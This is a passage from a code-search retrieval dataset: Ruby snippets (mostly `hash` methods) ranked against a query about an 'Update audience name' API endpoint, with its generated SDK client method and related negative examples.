"text": "def hash\n super +\n @methods.hash\n end",
"title": ""
},
{
"docid": "b587864d01e6087e255a086db068dd50",
"score": "0.50435597",
"text": "def getstats\n\tret = {}\n\tlisttrackedfiles.each { |f|\n\t\tret[f] = Digest::MD5.file(f).hexdigest rescue next\n\t}\n\tret\nend",
"title": ""
},
{
"docid": "4e2f7db37d2bc7487563fe69007b2a79",
"score": "0.50419647",
"text": "def hash\n [active, assigned, error, last_known_good].hash\n end",
"title": ""
},
{
"docid": "957408682c2a6bfd62ddc5b7d72a6ac1",
"score": "0.504052",
"text": "def hash\n [class_id, object_type, download_message, download_percentage, download_stage, ep_power_status, overall_error, overall_percentage, overallstatus, pending_type, sd_card_download_error, upgrade, workflow].hash\n end",
"title": ""
},
{
"docid": "376bf04902aef4b9990a7a3a788d17f4",
"score": "0.5039776",
"text": "def hash\n data.hash + type.hash\n end",
"title": ""
},
{
"docid": "f54b9891b9dbe429a68052b3f3766708",
"score": "0.5036542",
"text": "def hash\n super +\n @index.hash +\n @socket.hash\n end",
"title": ""
},
{
"docid": "2ceb35969bd23815ba109962488b33b8",
"score": "0.50298417",
"text": "def state\n {\n :network => network.state,\n :class => self.class.to_s,\n :created_at => self.created_at,\n :updated_at => self.updated_at,\n :reloaded_at => self.reloaded_at\n }\n end",
"title": ""
},
{
"docid": "df8989b843372b91e38e05258617198e",
"score": "0.5026774",
"text": "def hash\n [icon, id, name, source].hash\n end",
"title": ""
},
{
"docid": "a752b35df2257434b076ddb2d9df72ac",
"score": "0.5025748",
"text": "def hash\n [action_url, call_connect_url, calling_number, destination, if_machine, if_machine_url, send_digits, status_callback_url, timeout, privacy_mode].hash\n end",
"title": ""
},
{
"docid": "56be87581d4437520b2e400ffda55580",
"score": "0.5018855",
"text": "def hash\n @data.map(&method(:read_val)).hash\n end",
"title": ""
},
{
"docid": "33dba3b9bf3f765901166815e4554442",
"score": "0.50180674",
"text": "def hash\n last_block.hash\n end",
"title": ""
},
{
"docid": "ecee2444a0cf1bd585d48a4a575e51b5",
"score": "0.5003938",
"text": "def hash\n @hash ||= item_type.hash ^ occurrence_indicator.hash\n end",
"title": ""
},
{
"docid": "16cc8f1e448904581fd8d14a9f99e025",
"score": "0.49961364",
"text": "def conninfo_hash; end",
"title": ""
},
{
"docid": "16cc8f1e448904581fd8d14a9f99e025",
"score": "0.49961364",
"text": "def conninfo_hash; end",
"title": ""
},
{
"docid": "6e70c7092a4efd32fbb999a50b53fb06",
"score": "0.49956718",
"text": "def hash\n [is_root_tag, root_tag_nr, root_session_counter, is_blocked, block_reason, last_known_tag_state, update_date].hash\n end",
"title": ""
},
{
"docid": "3d87a894968945b4a67e37fa66d0f2ef",
"score": "0.4992031",
"text": "def hash\n @hash ||= @client.get_hash(path)\n @hash\n end",
"title": ""
},
{
"docid": "2e908770623dda89feb3e2864503c8b1",
"score": "0.49871573",
"text": "def hash\n [name, subdomain, url, logo, phone, primary_color, events_callback_url, members, delete_after, sandbox].hash\n end",
"title": ""
},
{
"docid": "256118b814a5bb60fde5fd4ab746087e",
"score": "0.4985058",
"text": "def tx_data tx\n data = {\n hash: tx.hash.htb.blob,\n version: tx.ver, lock_time: tx.lock_time,\n coinbase: tx.in.size == 1 && tx.in[0].coinbase?,\n tx_size: tx.payload.bytesize }\n data[:nhash] = tx.nhash.htb.blob if @config[:index_nhash]\n data\n end",
"title": ""
},
{
"docid": "bb54fa79820727aff92831a3bac63085",
"score": "0.49828878",
"text": "def hash\n super +\n @boot_protocol.hash +\n @interface.hash +\n @linked.hash +\n @mac.hash +\n @network.hash +\n @network_attachments.hash +\n @network_filter_parameters.hash +\n @network_labels.hash +\n @on_boot.hash +\n @plugged.hash +\n @reported_devices.hash +\n @statistics.hash +\n @virtual_function_allowed_labels.hash +\n @virtual_function_allowed_networks.hash +\n @vnic_profile.hash\n end",
"title": ""
},
{
"docid": "10c74566f766d1000f5bc9646c9e1864",
"score": "0.49783272",
"text": "def hash\n super +\n @checksum.hash +\n @content_type.hash +\n @host.hash +\n @status.hash\n end",
"title": ""
},
{
"docid": "c9dc5d4e2be3e0edfd7addbd1a07e79c",
"score": "0.49736547",
"text": "def getpeerinfo\n node.pool.peers.map do |peer|\n local_addr = peer.remote_version.remote_addr[0..peer.remote_version.remote_addr.rindex(':')] + '18333'\n {\n id: peer.id,\n addr: \"#{peer.host}:#{peer.port}\",\n addrlocal: local_addr,\n services: peer.remote_version.services.to_s(16).rjust(16, '0'),\n relaytxes: peer.remote_version.relay,\n lastsend: peer.last_send,\n lastrecv: peer.last_recv,\n bytessent: peer.bytes_sent,\n bytesrecv: peer.bytes_recv,\n conntime: peer.conn_time,\n pingtime: peer.ping_time,\n minping: peer.min_ping,\n version: peer.remote_version.version,\n subver: peer.remote_version.user_agent,\n inbound: !peer.outbound?,\n startingheight: peer.remote_version.start_height,\n best_hash: peer.best_hash,\n best_height: peer.best_height\n }\n end\n end",
"title": ""
},
{
"docid": "cd5456463dec3cc27c487e7f38f3d9a7",
"score": "0.49725455",
"text": "def hash\n [_links, _id, name, url, secret, statements, on, tags, _access].hash\n end",
"title": ""
},
{
"docid": "3f23fd8df892146ff4183e5d95da36de",
"score": "0.4969004",
"text": "def download_hash\n original_file_hash || mp3_file_hash || {}\n end",
"title": ""
},
{
"docid": "e7b132b3f3f9fd9351fd34f2378f905a",
"score": "0.49662268",
"text": "def get_current_dirty_hash\n # self.hash won't work\n [@raw_data.hash, @filter_proc.hash, @flatten_index.hash].hash\n end",
"title": ""
},
{
"docid": "e189f59ac26b1ee8d818c5a725e9f255",
"score": "0.49653333",
"text": "def hash\n super +\n @brick_dir.hash +\n @gluster_volume.hash +\n @server_id.hash +\n @statistics.hash +\n @status.hash\n end",
"title": ""
},
{
"docid": "5325db1a7f9dbbb40bb43699413e3e6b",
"score": "0.49609876",
"text": "def hash\n super +\n @auto_cleared.hash +\n @end_time.hash +\n @external.hash +\n @last_updated.hash +\n @owner.hash +\n @start_time.hash +\n @status.hash +\n @steps.hash\n end",
"title": ""
},
{
"docid": "706f7db248d556e8baba0833df45ecfa",
"score": "0.49605563",
"text": "def get_hash_data\r\n return CallInitiate.decode_call_params(get_variable(\"CallInitiate_hashdata\"))\r\n \tend",
"title": ""
},
{
"docid": "58535e6ef5e6d763903fcb8e4dd6f52c",
"score": "0.49562332",
"text": "def hash\n self.class.hash\n end",
"title": ""
},
{
"docid": "21fcb258582f07fde441be4deb520632",
"score": "0.49372527",
"text": "def hash\n super +\n @address.hash +\n @agents.hash +\n @automatic_pm_enabled.hash +\n @enabled.hash +\n @kdump_detection.hash +\n @options.hash +\n @password.hash +\n @pm_proxies.hash +\n @status.hash +\n @type.hash +\n @username.hash\n end",
"title": ""
},
{
"docid": "9b12dc079c560aa86486c8b0352214e6",
"score": "0.493502",
"text": "def hash\n generate_data.hash\n end",
"title": ""
},
{
"docid": "42e004a62f527e6be8620d805928c8e2",
"score": "0.4932429",
"text": "def hash\n @hash ||= Nori.parse http.body\n end",
"title": ""
},
{
"docid": "b078d77d9391233fdcd1ba2898bd363d",
"score": "0.4928138",
"text": "def get_state_hash\n json = Net::HTTP.get(API_ENDPOINT, '/state.json')\n MultiJson.load(json)\n end",
"title": ""
},
{
"docid": "220ade588dec1be5bd56d209d01f7e99",
"score": "0.49177054",
"text": "def hash\n [_href, _created, _type, name, url, validate, ssl_ca_certificate, ssl_client_certificate, ssl_client_key, ssl_validation, proxy_url, username, password, _last_updated, download_concurrency, policy, upstream_name, whitelist_tags].hash\n end",
"title": ""
},
{
"docid": "54a7cdac203e45b1937b152273aad374",
"score": "0.49140424",
"text": "def hash\n super +\n @external_host_provider.hash +\n @ip.hash +\n @last_report.hash +\n @mac.hash +\n @subnet_name.hash\n end",
"title": ""
},
{
"docid": "1452938c6fa83e71c6ed504423325579",
"score": "0.4913184",
"text": "def to_hash\n h = {}\n h['hash'] = @hash if @hash\n h['offline'] = @offline if @offline\n h['remote'] = @remote if @remote\n h['version'] = @version if @version\n\n h\n end",
"title": ""
},
{
"docid": "5d2d1fae72ecaeeb347bb4bcdd9291a9",
"score": "0.49123782",
"text": "def hash\n super +\n @external_network_provider.hash +\n @host.hash\n end",
"title": ""
},
{
"docid": "7c65e587a629aaf0652691419a2219c4",
"score": "0.49099424",
"text": "def hash\n self['hash']\n end",
"title": ""
},
{
"docid": "0a5c1f5f9396837ee6febdf9c490cc6f",
"score": "0.49065056",
"text": "def hash\n self.class.hash\n end",
"title": ""
},
{
"docid": "13ada562a132ebe9bb90f718308d4b80",
"score": "0.490613",
"text": "def hash\n return Digest::MD5.hexdigest(@state.to_s).to_sym \n end",
"title": ""
},
{
"docid": "5e52eaaebb827b973aa7b6be5d7bcc6e",
"score": "0.49036607",
"text": "def hash\n \n return @internal_array.hash\n \n end",
"title": ""
},
{
"docid": "44edaff4dd89abd1e42d1234b61bb5b0",
"score": "0.49028945",
"text": "def hash\n super +\n @event_name.hash +\n @host.hash +\n @md5.hash\n end",
"title": ""
},
{
"docid": "a3bfb01e86561690da9d3afe11f021fc",
"score": "0.4897888",
"text": "def hash\n @hash ||= [host, user, port].hash\n end",
"title": ""
},
{
"docid": "a3bfb01e86561690da9d3afe11f021fc",
"score": "0.4897888",
"text": "def hash\n @hash ||= [host, user, port].hash\n end",
"title": ""
},
{
"docid": "a3bfb01e86561690da9d3afe11f021fc",
"score": "0.4897888",
"text": "def hash\n @hash ||= [host, user, port].hash\n end",
"title": ""
},
{
"docid": "a3bfb01e86561690da9d3afe11f021fc",
"score": "0.4897888",
"text": "def hash\n @hash ||= [host, user, port].hash\n end",
"title": ""
},
{
"docid": "0b181657ca2a3e86a8b65aa995e75330",
"score": "0.48961762",
"text": "def hash\n return [ TransferFile, @LocalFileName.hash ].hash\n end",
"title": ""
},
{
"docid": "bf4e2656d93a3e5cddb48e026e1ee960",
"score": "0.48947966",
"text": "def hash\n [class_id, object_type, admin_locator_led_state, admin_power_state, certificates_action, cmos_reset, config_state, front_panel_lock_state, name, one_time_boot_device, persistent_memory_operation, server_config, storage_controller_operation, storage_physical_drive_operation, storage_virtual_drive_operation, locator_led, registered_device, running_workflow, server].hash\n end",
"title": ""
},
{
"docid": "dcd2d2a7b8b5351f882af58dc9101795",
"score": "0.4890088",
"text": "def hash\n @hash ||= _calculate_hash\n end",
"title": ""
},
{
"docid": "c8cc6b932113d211e68abdba98fb35a5",
"score": "0.48812982",
"text": "def to_hash\n return method_missing(__method__) unless respond_to? __method__\n\n @data.dup.to_hash\n end",
"title": ""
},
{
"docid": "83c813b68d2e2e2c098c0fd50e15c7df",
"score": "0.48811513",
"text": "def hash\n @folder.hash\n end",
"title": ""
},
{
"docid": "686557152c06e563123cecc6b78e4906",
"score": "0.48809287",
"text": "def data_hash\n @data_hash ||= base_hash[:data]\n end",
"title": ""
},
{
"docid": "e756881ad42325335ae1310afd4d91d6",
"score": "0.48797312",
"text": "def hash\n super +\n @block_statistics.hash +\n @duration.hash +\n @fop_statistics.hash +\n @profile_type.hash +\n @statistics.hash\n end",
"title": ""
},
{
"docid": "cf9070e7a37c6d8a18d494882ef4b791",
"score": "0.4879719",
"text": "def to_hash\n @read_mutex.synchronize { @data.dup }\n end",
"title": ""
},
{
"docid": "7d4f7c3d68baea4c50f14668ffafbbbd",
"score": "0.48780718",
"text": "def hash\n super +\n @threads.hash\n end",
"title": ""
},
{
"docid": "1689c75117c52098bdbb83425340bd7b",
"score": "0.48769808",
"text": "def hash; @items.hash end",
"title": ""
},
{
"docid": "e5cd7b3f1dc1f299287f14193c36638d",
"score": "0.48765007",
"text": "def hash\n [architectures, cdn_url, checksum_md5, checksum_sha1, checksum_sha256, checksum_sha512, dependencies_checksum_md5, description, distro, distro_version, downloads, epoch, extension, filename, files, format, format_url, identifier_perm, indexed, is_sync_awaiting, is_sync_completed, is_sync_failed, is_sync_in_flight, is_sync_in_progress, license, name, namespace, namespace_url, num_files, package_type, provider, release, repository, repository_url, security_scan_completed_at, security_scan_started_at, security_scan_status, security_scan_status_updated_at, self_html_url, self_url, signature_url, size, slug, slug_perm, stage, stage_str, stage_updated_at, status, status_reason, status_str, status_updated_at, status_url, subtype, summary, sync_finished_at, sync_progress, tags_immutable, type_display, uploaded_at, uploader, uploader_url, version, version_orig, vulnerability_scan_results_url].hash\n end",
"title": ""
},
{
"docid": "fbd4b11c7a5b06837e09e0729becf9a1",
"score": "0.48612967",
"text": "def fetch_task_hash\r\n @tasks = {\r\n NOT_STARTED.to_sym => 0,\r\n STARTED.to_sym => 0,\r\n DONE.to_sym => 0,\r\n CANCELLED.to_sym => 0\r\n }\r\n\r\n Task.all.each do |task|\r\n case task.status.to_sym\r\n when :not_started\r\n @tasks[NOT_STARTED.to_sym] += 1\r\n when :done\r\n @tasks[DONE.to_sym] += 1\r\n when :in_progress\r\n @tasks[STARTED.to_sym] += 1\r\n when :cancelled\r\n @tasks[CANCELLED.to_sym] += 1\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "9f09898e79a0753b51e93ce6de703082",
"score": "0.48593122",
"text": "def hash\n @hash ||= {}\n end",
"title": ""
},
{
"docid": "b242ac7f97ea8fb782c45c9ee9c68312",
"score": "0.48586106",
"text": "def neo_transaction_get_hash\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "325f9d2971141de55eabda7dcca41501",
"score": "0.48509252",
"text": "def getPluginDataHash\n end",
"title": ""
},
{
"docid": "162e181c2f3a66f07655c35fd48004c6",
"score": "0.48473087",
"text": "def hash\n [id, name, owner, status, date_created, date_completed, upload_uri, import_mode, error_information, count_records_updated, count_records_deleted, count_records_failed, self_uri].hash\n end",
"title": ""
},
{
"docid": "b4b1e2489e338bf8e2968a6f845a7b90",
"score": "0.484709",
"text": "def hash\n [_end, error, git, is_manual, is_resumed, level, metrics, name, node, parameters, parent_pipeline, partial_retry, pipeline_id, previous_attempt, queue_time, start, status, tags, unique_id, url].hash\n end",
"title": ""
},
{
"docid": "d7315f03f2a46216ff9151063e429195",
"score": "0.4845167",
"text": "def hash\n @_hash ||= _hash\n end",
"title": ""
},
{
"docid": "d7315f03f2a46216ff9151063e429195",
"score": "0.4845167",
"text": "def hash\n @_hash ||= _hash\n end",
"title": ""
}
] |
3232d5ed4aad2904e7f24e9a498ff702
|
Update audience name Update the name of the given audience created by a thirdparty integration. Sending a request to this endpoint does not trigger the rule engine. To update the audience&39;s members, use the [Update customer profile](tag/Customerprofiles/operation/updateCustomerProfileV2) endpoint.
|
[
{
"docid": "4aeba2491b799e8dfd3da30c31f5e377",
"score": "0.56734395",
"text": "def update_audience_v2_with_http_info(audience_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IntegrationApi.update_audience_v2 ...'\n end\n # verify the required parameter 'audience_id' is set\n if @api_client.config.client_side_validation && audience_id.nil?\n fail ArgumentError, \"Missing the required parameter 'audience_id' when calling IntegrationApi.update_audience_v2\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling IntegrationApi.update_audience_v2\"\n end\n # resource path\n local_var_path = '/v2/audiences/{audienceId}'.sub('{' + 'audienceId' + '}', CGI.escape(audience_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(body) \n\n # return_type\n return_type = opts[:return_type] || 'Audience' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key_v1']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IntegrationApi#update_audience_v2\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
}
] |
[
{
"docid": "c87f1b7adc0a0257bed3af91a0de5d13",
"score": "0.6366258",
"text": "def audience= new_audience\n @audience = new_audience\n end",
"title": ""
},
{
"docid": "35d1bbf533fbeb23c3752686c159cf8f",
"score": "0.6287312",
"text": "def update_audience request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_audience_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::Audience.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "e0844e1b54c598d167fd6dcbd1d8a44b",
"score": "0.62623477",
"text": "def audience= new_audience\n @grpc.audience = new_audience\n end",
"title": ""
},
{
"docid": "e40f5908bf4542d6d5cb3934193639a4",
"score": "0.6189196",
"text": "def update\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n if @audience.update_attributes(params[:audience])\n format.html { redirect_to @audience, notice: 'Audience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "597ca6856141eb00ae20665107649601",
"score": "0.5887651",
"text": "def update_customer_profile_audiences(body, opts = {})\n update_customer_profile_audiences_with_http_info(body, opts)\n nil\n end",
"title": ""
},
{
"docid": "fafeb139f7955c56e1f303c66ed0bfdc",
"score": "0.58289266",
"text": "def update_audience_v2(audience_id, body, opts = {})\n data, _status_code, _headers = update_audience_v2_with_http_info(audience_id, body, opts)\n data\n end",
"title": ""
},
{
"docid": "f873e0e76439e8c404388e667317757f",
"score": "0.5816287",
"text": "def update!(**args)\n @audience = args[:audience] if args.key?(:audience)\n @service_account_email = args[:service_account_email] if args.key?(:service_account_email)\n end",
"title": ""
},
{
"docid": "e745b6debd9d3256c0282a9b906b442c",
"score": "0.5675059",
"text": "def set_audience\n @campaign = Campaign.find(params[:id])\n\n if @campaign.update_attributes(params[:campaign])\n flash[:notice] = \"Has configurado la audiencia para la campaña\"\n redirect_to [:admin, @campaign]\n else\n flash.now[:error] = \"Hubo un error al configurar la audiencia de la campaña\"\n render action: :audience\n end\n end",
"title": ""
},
{
"docid": "1dec93621ec67f5a86df918f8abb04b3",
"score": "0.55714434",
"text": "def update_customer_profile_audiences_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IntegrationApi.update_customer_profile_audiences ...'\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling IntegrationApi.update_customer_profile_audiences\"\n end\n # resource path\n local_var_path = '/v2/customer_audiences'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(body) \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key_v1']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IntegrationApi#update_customer_profile_audiences\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "ec02e3bebd358457b4fe196b8d366194",
"score": "0.54240614",
"text": "def update(new_name = nil, new_subscription = nil)\n self.name = new_name\n self.subscription = new_subscription\n save!\n end",
"title": ""
},
{
"docid": "eb92498e84effe207c65d912399398f0",
"score": "0.5407129",
"text": "def update(name: nil)\n data = name.nil? ? {} : {name: name}\n cf_patch(path: \"/organizations/#{org_id}\", data: data)\n end",
"title": ""
},
{
"docid": "240d1b9f6e620c07c0fe35a7189a4dee",
"score": "0.5346558",
"text": "def update(name, org_guid)\n org = @client.organization(org_guid)\n org.name = name\n org.update!\n end",
"title": ""
},
{
"docid": "a2a500646a071539c0b1dafec87ff903",
"score": "0.5296101",
"text": "def update!(**args)\n @account_id = args[:account_id] if args.key?(:account_id)\n @audience_definition = args[:audience_definition] if args.key?(:audience_definition)\n @audience_type = args[:audience_type] if args.key?(:audience_type)\n @created = args[:created] if args.key?(:created)\n @description = args[:description] if args.key?(:description)\n @id = args[:id] if args.key?(:id)\n @internal_web_property_id = args[:internal_web_property_id] if args.key?(:internal_web_property_id)\n @kind = args[:kind] if args.key?(:kind)\n @linked_ad_accounts = args[:linked_ad_accounts] if args.key?(:linked_ad_accounts)\n @linked_views = args[:linked_views] if args.key?(:linked_views)\n @name = args[:name] if args.key?(:name)\n @state_based_audience_definition = args[:state_based_audience_definition] if args.key?(:state_based_audience_definition)\n @updated = args[:updated] if args.key?(:updated)\n @web_property_id = args[:web_property_id] if args.key?(:web_property_id)\n end",
"title": ""
},
{
"docid": "2b779f1d95619322d0359148e497b046",
"score": "0.52693635",
"text": "def update!(**args)\n @metadata = args[:metadata] if args.key?(:metadata)\n @name_pronunciation_audio_metadata = args[:name_pronunciation_audio_metadata] if args.key?(:name_pronunciation_audio_metadata)\n end",
"title": ""
},
{
"docid": "e324f465e86bd1d6e71c71346778115d",
"score": "0.5249164",
"text": "def update!(**args)\n @third_party_claims = args[:third_party_claims] if args.key?(:third_party_claims)\n end",
"title": ""
},
{
"docid": "ad4c1c78999f0648b3c584ac9609cdef",
"score": "0.5238664",
"text": "def update\n @account.accountName = params[:account][:accountName]\n respond_to do |format|\n if @account.update(account_params)\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"title": ""
},
{
"docid": "f71a80c890f8d6949bbca2028d364e47",
"score": "0.5237115",
"text": "def update_name(user_id:, name:)\n path = '/users/{userId}/name'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n if name.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"name\"')\n end\n\n params = {\n name: name,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"title": ""
},
{
"docid": "58c12e4a66de2692039327a672df1c40",
"score": "0.5234587",
"text": "def update\n authorize @adoc_name\n respond_to do |format|\n if @adoc_name.update(adoc_name_params)\n format.html { redirect_to @adoc_name, notice: 'Adoc name was successfully updated.' }\n format.json { render :show, status: :ok, location: @adoc_name }\n else\n format.html { render :edit }\n format.json { render json: @adoc_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af381c3a85d3d04bc48327c9aeaad31d",
"score": "0.5226717",
"text": "def update\n @profile ||= Profile.find(params[:profile_id])\n @qualification.update(qualification_params)\n end",
"title": ""
},
{
"docid": "7a70a7b577643c42ab42567d66acfa18",
"score": "0.5220175",
"text": "def update_award\n\t\tif !params[:profile_setting].present?\n\t\t\tredirect_to user_profile_data_profile_path \n\t\telse\n\t\t\t# creating the award by using the award params\n\t\t\t@award = @user.update_attributes(award_params)\n\t\t\t# redirect to the profile app page\n\t\t\tredirect_to user_profile_data_profile_path\n\t\tend\n\tend",
"title": ""
},
{
"docid": "705aea7a1c51a58fb18bfad85142300d",
"score": "0.518829",
"text": "def update\n if @name.update(name_params)\n flash[:notice] = \"Name was updated.\"\n else\n flash[:error] = \"Something went wrong.\"\n end\n end",
"title": ""
},
{
"docid": "f4677147b346c4993bd9fc88d5ef05f6",
"score": "0.51698774",
"text": "def update!(**args)\n @allowed_issuers = args[:allowed_issuers] if args.key?(:allowed_issuers)\n @audiences = args[:audiences] if args.key?(:audiences)\n end",
"title": ""
},
{
"docid": "dfec76ace98eac61937bbdae46c276e7",
"score": "0.5129842",
"text": "def target_audience= new_target_audience\n @target_audience = new_target_audience\n end",
"title": ""
},
{
"docid": "ef8f80f1c5af9a9cff2f2e6a3e0973ca",
"score": "0.5120093",
"text": "def update!(**args)\n @audio_uri = args[:audio_uri] if args.key?(:audio_uri)\n @dialogflow_conversation = args[:dialogflow_conversation] if args.key?(:dialogflow_conversation)\n end",
"title": ""
},
{
"docid": "ef8f80f1c5af9a9cff2f2e6a3e0973ca",
"score": "0.5120093",
"text": "def update!(**args)\n @audio_uri = args[:audio_uri] if args.key?(:audio_uri)\n @dialogflow_conversation = args[:dialogflow_conversation] if args.key?(:dialogflow_conversation)\n end",
"title": ""
},
{
"docid": "a3409735de3bbb7f696375833bcca626",
"score": "0.5107377",
"text": "def audience=(audience)\n self.to = audience if self.respond_to?(:to=)\n end",
"title": ""
},
{
"docid": "1ac406d7381433bc410dd588ec6e004d",
"score": "0.5104937",
"text": "def update!(**args)\n @confidence = args[:confidence] if args.key?(:confidence)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "3c18296ff79ee51e0837130d5e28cf79",
"score": "0.5092679",
"text": "def update(campaign, opts)\n raise ArgumentError, \"Missing options hash\" unless opts.is_a?(Hash)\n campaign_opts = {}\n campaign_opts = campaign_opts.merge({:name => opts[:name]}) if opts.has_key?(:name)\n campaign_opts = campaign_opts.merge({:id => opts[:id]}) if opts.has_key?(:id)\n\n if campaign_opts.empty?\n raise ArgumentError, \"Options hash has no ID/Name\"\n end\n Mailgun.submit(:put, campaign_url(campaign), opts)\n end",
"title": ""
},
{
"docid": "70a4123e12cc24d5f193b96b3eaa3809",
"score": "0.508476",
"text": "def update!(**args)\n @audio_uri = args[:audio_uri] if args.key?(:audio_uri)\n end",
"title": ""
},
{
"docid": "963495042d3ec73028d6ed8780dbfc55",
"score": "0.50794536",
"text": "def name= new_name\n @gapi.update! name: String(new_name)\n end",
"title": ""
},
{
"docid": "b00c907c37f54c6dd02d58e57f6ef2d4",
"score": "0.5076172",
"text": "def update!(**args)\n @hashed_account_id = args[:hashed_account_id] if args.key?(:hashed_account_id)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "f1973de189e8b912f1af0485e7a90259",
"score": "0.5072431",
"text": "def update\n respond_to do |format|\n if @party_name.update(party_name_params)\n format.html { redirect_to @party_name, notice: 'Party name was successfully updated.' }\n format.json { render :show, status: :ok, location: @party_name }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @party_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f396a822fac3499a386b9d48336bb7e8",
"score": "0.5069728",
"text": "def update_name(new_name)\n ensure_uri\n response = @client.rest_put(@data['uri'], 'body' => { 'name' => new_name, 'type' => 'ArtifactsBundle' })\n @client.response_handler(response)\n @data['name'] = new_name\n true\n end",
"title": ""
},
{
"docid": "17cdc9fdc76efc56b06926b27fb037df",
"score": "0.50690114",
"text": "def update_name(new_name)\n self.update(name: new_name)\n self\n puts \"Your username has been updated.\".colorize(:magenta)\n end",
"title": ""
},
{
"docid": "165ef75d0e48e738fe5ed4d4aabf9001",
"score": "0.50527364",
"text": "def update!(**args)\n @audience = args[:audience] if args.key?(:audience)\n @email = args[:email] if args.key?(:email)\n @expires_in = args[:expires_in] if args.key?(:expires_in)\n @issued_to = args[:issued_to] if args.key?(:issued_to)\n @scope = args[:scope] if args.key?(:scope)\n @user_id = args[:user_id] if args.key?(:user_id)\n @verified_email = args[:verified_email] if args.key?(:verified_email)\n end",
"title": ""
},
{
"docid": "ff0f6835ab0c4ce7cd8aa0369512e499",
"score": "0.50499153",
"text": "def update\n @award = Award.find(params[:id])\n\n respond_to do |format|\n if @award.update_attributes(params[:award])\n format.html { redirect_to @award, notice: 'Award was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2d81555de3977c094bdedb35d8c97303",
"score": "0.5039066",
"text": "def update\n respond_to do |format|\n if @customizing_name.update(customizing_name_params)\n format.html { redirect_to @customizing_name, notice: 'Customizing name was successfully updated.' }\n format.json { render :show, status: :ok, location: @customizing_name }\n else\n format.html { render :edit }\n format.json { render json: @customizing_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a93d915628612a5550a903807fa8329f",
"score": "0.50294125",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @official = args[:official] if args.key?(:official)\n end",
"title": ""
},
{
"docid": "402cb9414876cff68f3d8ead7259b38e",
"score": "0.5020501",
"text": "def audience\n @campaign = Campaign.find(params[:id])\n end",
"title": ""
},
{
"docid": "1fbd2f46e1521da0bd5c3e166bc67999",
"score": "0.5019273",
